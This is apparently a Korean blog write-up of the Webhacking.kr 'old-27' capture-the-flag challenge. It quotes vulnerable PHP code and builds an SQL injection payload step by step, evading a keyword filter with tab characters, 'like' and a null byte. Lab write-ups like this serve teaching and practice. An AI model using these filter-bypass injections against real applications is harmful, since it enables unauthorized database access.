Web Hacking/Webhacking.kr

[Webhacking.kr] old-27 / Challenge 27

ruming 2021. 10. 10. 21:33

 

SQL injection 문제다.

 

소스코드를 확인해보자.

<?php
  
if($_GET['no']){
  
$db dbconnect();
  if(
preg_match("/#|select|\(| |limit|=|0x/i",$_GET['no'])) exit("no hack");
  
$r=mysqli_fetch_array(mysqli_query($db,"select id from chall27 where id='guest' and no=({$_GET['no']})")) or die("query error");
  if(
$r['id']=="guest") echo("guest");
  if(
$r['id']=="admin"solve(27); // admin's no = 2
}
?>

 

필터링

# select ( 공백 limit = 0x

 

id가 admin이면 풀리는데 주석으로 admin's no=2라고 적혀있다.

$_GET['no']에 2를 넣으면 문제가 풀릴 것 같다.

 

0 or no like 2 같은 쿼리를 이용해 풀 수 있을 것 같다.

공백은 %09로 우회한다.

1%09and%09no%09like%092

 

한가지 놓친 부분이 있었다.

쿼리에 no=()가 있어서 괄호도 신경을 써줘야 한다. 1뒤에 )를 추가하고 맨 뒤에 남아 있을 )문자를 처리하기 위해 널문자를 추가했다.

0)%09or%09no%09like%092;%00

 

다음과 같이 쿼리가 실행됐을 것이다.

"select id from chall27 where id='guest' and no=(0) or no like 2; )"))or die("query error");

 

문제를 해결했다!